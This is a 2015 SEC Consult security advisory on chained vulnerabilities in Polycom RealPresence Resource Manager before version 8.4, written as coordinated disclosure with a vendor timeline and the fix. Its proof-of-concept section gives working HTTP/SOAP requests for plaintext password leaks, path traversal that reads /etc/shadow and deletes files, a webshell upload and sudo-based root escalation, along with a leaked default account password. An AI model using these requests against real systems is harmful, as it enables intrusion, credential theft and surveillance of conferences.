SEC Consult Vulnerability Lab Security Advisory < 20150626-0 >
=======================================================================
title: Critical vulnerabilities allow surveillance on conferences
product: Polycom RealPresence Resource Manager (RPRM)
vulnerable versions: <8.4
fixed version: 8.4
CVE numbers: CVE-2015-4681, CVE-2015-4682, CVE-2015-4683, CVE-2015-4684
CVE-2015-4685
impact: critical
homepage: www.polycom.com
found: 2015-03-10
by: R. Freingruber, C.A. (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Berlin - Frankfurt/Main - Montreal - Singapore
Vienna (HQ) - Vilnius - Zurich
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Vendor description:
-------------------
"A key component of the Polycom RealPresence Platform, available as a hardened
appliance or software optimized for virtualized environments, the RealPresence
Resource Manager application is critical to effectively managing thousands of
mobile, desktop, and group telepresence systems."
Business recommendation:
------------------------
By combining all vulnerabilities documented in this advisory an unprivileged
authenticated remote attacker can gain full system access (root) on the RPRM
appliance. This has an impact on all conferences taking place via this RP
Resource Manager. Attackers can steal all conference passcodes and join or
record any conference.
SEC Consult recommends not to use this system until a thorough security review
has been performed by security professionals and all identified issues have
been resolved.
Vulnerability overview/description:
-----------------------------------
1) Unauthorized plaintext password disclosure of RMX admin accounts
The RPRM discloses the plaintext password of the RMX admin user to an
unauthorized unprivileged attacker by including it in certain HTTP responses.
No manipulation of parameters is required.
2) Arbitrary file disclosure (I) via path traversal (CVE-2015-4684)
Ordinary unprivileged users can download an Excel file of all their upcoming
conferences. This functionality can be exploited by an authenticated attacker
to download arbitrary files from the server due to insufficient input validation.
There is no restriction on which files might be downloaded since this action
is performed with root privileges.
3) Plaintext passwords stored in logfiles
RPRM generates logdata which includes plaintext passwords. This weakness in
combination with the previous vulnerability allows an unprivileged attacker
to escalate his privileges to the admin level in the web interface.
4) Arbitrary file upload via path traversal (CVE-2015-4684)
This vulnerability requires admin privileges in the web interface, but combining
all previous vulnerabilities in this advisory allows privilege escalation.
Administrators can import (upload) "user aliases" in the web interface. This
functionality is vulnerable to a path traversal attack. This vulnerability
can be exploited to upload a webshell and execute arbitrary commands with
the permissions of the system user "plcm".
5) Sudo misconfiguration allows privilege escalation (CVE-2015-4685)
The "plcm" user is allowed to execute certain tools and scripts in given
folders with root privileges. At the same time many of these scripts and
folders are writeable to the plcm user. This allows execution of arbitrary
code with root privileges.
6) Arbitrary file disclosure (II) and removal (path traversal) (CVE-2015-4684)
An authenticated attacker can download and remove any files using this path
traversal vulnerability. Exploitation of this vulnerability requires admin
privileges. There is no restriction on which files might be downloaded or
removed since this action is performed with root privileges.
7) Weak/Missing Authorization
The separation of users relies on the fact that conference IDs are not
guessable, but as soon as an information disclosure vulnerability allows an
attacker to gather conference IDs authorization can be bypassed. The
arbitrary file download vulnerability (2) allows an attacker to collect
valid conference IDs.
8) Absolute path disclosure (CVE-2015-4682)
The web application discloses the absolute path to the web root.
To collect this information no parameter manipulation is required.
The webroot path is valuable when uploading a web shell (see vulnerability 4).
9) Session ID in GET parameter allows for privilege escalation (CVE-2015-4683)
Certain actions on the website (Excel and log file downloads) submit
session IDs in HTTP GET parameters. If a privileged user performs such
an action his session ID is written to the webserver log which can be
retrieved by an unprivileged attacker by exploiting the vulnerability (2).
This results in an additional privilege escalation path. Since session IDs
are bound to source IP addresses successfull exploitation requires the
attacker to have the same source IP as his victim (e.g. NAT).
Proof of concept:
-----------------
1) Unauthorized plaintext password disclosure of RMX admin accounts
Request:
-----
POST /PlcmRmWeb/JNetworkDeviceManager?n=... HTTP/1.1
Host: <host>:8443
SOAPAction: http:// polycom.com/WebServices/aa:getAvailableBridges
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><aa:getAvailableBridges xmlns:aa="http://polycom.com/WebServices"><credentials xsi:type="JCredentials"><userToken>*VALID-USER-TOKEN*</userToken></credentials><resultsForConferenceOwner>false</resultsForConferenceOwner><areaId>-1</areaId></aa:getAvailableBridges></soap:Body></soap:Envelope>
-----
Response:
-----
<env:Envelope xmlns:env='http://schemas.xmlsoap.org/soap/envelope/'>
<env:Header></env:Header>
<env:Body>
<ns2:getAvailableBridgesResponse xmlns:ns2="http://polycom.com/WebServices">
<return>
<status>SUCCESS</status>
</return>
<mcuList>
<belongsToAreaUgpId>0</belongsToAreaUgpId>
<defaultAliasName>*redacted*</defaultAliasName>
<description></description>
<deviceId>*redacted*</deviceId>
<deviceName>*redacted*</deviceName>
<deviceStatus>ONLINE</deviceStatus>
<deviceType>CR</deviceType>
<deviceUUID>00000000-0000-0000-0000-000000000000</deviceUUID>
<hasDeviceErrors>false</hasDeviceErrors>
<ipAddress>*redacted*</ipAddress>
<isCallServer>false</isCallServer>
<isMcuPoolOrderSource>false</isMcuPoolOrderSource>
<managedGatekeeperStatus>NOT_APPLICABLE</managedGatekeeperStatus>
<password>*PLAINTEXTPASSWORD*</password>
[...]
-----
The same information is disclosed in the "aa:getMCUsNetworkDevicesForList" and
"aa:getNetworkDevicesForList" requests.
2) Arbitrary file disclosure (I) via path traversal
The following URL allows an attacker to read the /etc/shadow file:
https:// hostname:8443/PlcmRmWeb/FileDownload?DownloadType=REPORT&Modifier=../../../../../../../etc/shadow&Credentials=*VALID-USER-TOKEN*&ClientId=&FileName=
root:<hash>:16135:0:99999:7:::
bin:*:15513:0:99999:7:::
daemon:*:15513:0:99999:7:::
dbus:!!:16135::::::
hacluster:!!:16135::::::
vcsa:!!:16135::::::
rpc:!!:16135:0:99999:7:::
ntp:!!:16135::::::
plcm:$1$nqk4wqYm$N4QLTb66K8JwE9yM2GuO.1:16135::::::
[...]
(plcm user password is Polycom123)
3) Plaintext passwords stored in logfiles
No proof of concept necessary.
4) Arbitrary file upload via path traversal
Request:
-----
POST /PlcmRmWeb/FileUpload HTTP/1.1
Accept: text/*
Content-Type: multipart/form-data; boundary=----------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0
User-Agent: Shockwave Flash
Host: <host>:8443
Content-Length: 1076
Connection: Keep-Alive
Cache-Control: no-cache
------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0
Content-Disposition: form-data; name="Filename"
../../../../../../../../../../../../opt/polycom/cma/current/jserver/web/ROOT.war/webshell-123.jsp
------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0
Content-Disposition: form-data; name="SE_LOC"
null
------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0
Content-Disposition: form-data; name="Token"
*VALID-USER-TOKEN*
------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0
Content-Disposition: form-data; name="SE_FNAME"
../../../../../../../../../../../../opt/polycom/cma/current/jserver/web/ROOT.war/webshell-123.jsp
------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0
Content-Disposition: form-data; name="UploadType"
SIP_URL_CSV
------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0
Content-Disposition: form-data; name="FlashSessionId"
*session-id*
------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0
Content-Disposition: form-data; name="Filedata"; filename="webshell-123.jsp"
Content-Type: application/octet-stream
*web shell payload here*
------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0
Content-Disposition: form-data; name="Upload"
Submit Query
------------ae0gL6cH2KM7GI3GI3ae0KM7ae0ae0--
5) Sudo misconfiguration allows privilege escalation
Excerpt from /etc/sudoers:
plcm ALL=(ALL) ALL
plcm ALL=(root)NOPASSWD:/usr/sbin/dmidecode
plcm ALL=(root)NOPASSWD:/sbin/init
plcm ALL=(root)NOPASSWD:/sbin/service
plcm ALL=(root)NOPASSWD:/opt/polycom/cma/*/jserver/bin/getNetworkInfo.pl
*...*
plcm ALL=(root)NOPASSWD:/opt/polycom/cma/*/jserver/schema/script/getCipherSuiteMode.sh
plcm ALL=(root)NOPASSWD:/opt/polycom/cma/*/ha/scripts/*
*...*
plcm ALL=(root)NOPASSWD:/var/polycom/cma/upgrade/scripts/*
plcm ALL=(root)NOPASSWD:/usr/bin/snmptrap
plcm ALL=(root)NOPASSWD:/usr/bin/snmpget
plcm ALL=(root)NOPASSWD:/sbin/iptables
*...*
plcm ALL=(root)NOPASSWD:/usr/sbin/tcpdump
plcm ALL=(root)NOPASSWD:/usr/sbin/logrotate
plcm ALL=(root)NOPASSWD:/usr/sbin/wired_supplicant_configurator
Among many other paths in this long list, the folder
/var/polycom/cma/upgrade/scripts/
is writeable for the plcm user. Simply placing any malicious script/executable in
this folder and executing it via sudo gives an attacker full root access.
6) Arbitrary file disclosure (II) and removal (path traversal)
The following request is used to disclose and remove "/etc/hosts" from the system.
An arbitrary file can be specified here (operations are executed with root privileges).
POST /PlcmRmWeb/JUserManager?n=... HTTP/1.1
Host: <host>:8443
SOAPAction: http:// polycom.com/WebServices/aa:importSipUriReservations
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><aa:importSipUriReservations xmlns:aa="http://polycom.com/WebServices"><credentials xsi:type="JCredentials"><userToken>*VALID-USER-TOKEN*</userToken></credentials><filePathName>../../../../../../../../../../../../../etc/hosts</filePathName></aa:importSipUriReservations></soap:Body></soap:Envelope>
It's very likely that the SOAP action "aa:importUserH323Reservations" contains the same vulnerability.
7) Weak/Missing Authorization
The exploit of this vulnerability has been removed from this advisory.
According to the vendor it is unresolved in the new software version 8.4.
8) Absolute path disclosure
Request:
-----
POST /PlcmRmWeb/JConfigManager?n=... HTTP/1.1
Host: <host>:8443
SOAPAction: http:// polycom.com/WebServices/aa:getCustomLogoUploadPath
Content-Length: 417
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><aa:getCustomLogoUploadPath xmlns:aa="http://polycom.com/WebServices"><credentials xsi:type="JCredentials"><userToken>*VALID-USER-TOKEN*</userToken></credentials></aa:getCustomLogoUploadPath></soap:Body></soap:Envelope>
-----
Response:
---------
<env:Envelope xmlns:env='http://schemas.xmlsoap.org/soap/envelope/'>
<env:Header></env:Header>
<env:Body>
<ns2:getCustomLogoUploadPathResponse xmlns:ns2="http://polycom.com/WebServices">
<return>
<status>SUCCESS</status>
</return>
<url>/download/CustomLogos/</url>
<path>/opt/polycom/cma/current/jserver/web/ROOT.war/download/CustomLogos/</path>
</ns2:getCustomLogoUploadPathResponse>
</env:Body>
</env:Envelope>
-----
At least the following SOAP actions can be used to retrieve absolute paths:
- aa:getCustomLogoUploadPath
- aa:getCustomDesktopLogoUploadPath
- aa:getUploadDirectory
- aa:getSystemLogFiles
- aa:getLegacyUploadDir
- aa:getAuditLogFiles
9) Session ID in GET parameter allows privilege escalation
Sample URL that contains a session ID in the GET parameter 'Credential':
/PlcmRmWeb/FileDownload?DownloadType=LOGGER&Modifier=-123&Credentials=12345678-1234-1234-1234-123456789000&ClientId=&FileName=Conference.log
Path to the webserver access logfiles:
/var/log/polycom/cma/audit/localhost_access_log.log
/var/log/polycom/cma/audit/localhost_access_log.log.1.gz
...
Extract valid session IDs from the log files:
egrep "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" localhost_access_log.log
Vulnerable versions:
-----------------------------
According to the vendor, all software versions <8.4 are affected.
Vendor contact timeline:
------------------------
2015-03-25: Video conference with Polycom, discussing vulnerabilities
2015-03-27: Contacting Polycom through security@polycom.com, requesting
encryption keys, attaching responsible disclosure policy.
2015-04-01: Polycom provides PGP key
2015-04-02: Sending encrypted security advisory to Polycom
2015-04-03: Polycom provides affected versions
2015-04-29: Polycom provides planned release date (2015-06-19) and
version number that fixes issues.
2015-05-06: SEC Consult confirms advisory release date: 2015-06-26
2015-06-15: Polycom releases RPRM v8.4
2015-06-18: Polycom provides URL to RPRM v8.4
2015-06-18: SEC Consult asks for reassurance that v8.4 fixes reported
vulnerabilities since 8.4's release notes do not mention
any fixes.
2015-06-22: Received a list that the vulnerabilities were fixed.
2015-06-26: Coordinated release of security advisory.
Solution:
---------
Update to RPRM v8.4.
For further information see the following URL of the vendor:
Exception:
RPRM v8.4 does _not_ address the weakness described in section 7
(Weak/Missing Authorization).
Workaround:
-----------
None.
Advisory URL:
-------------
www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
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Berlin - Frankfurt/Main - Montreal - Singapore - Vienna (HQ) - Vilnius - Zurich
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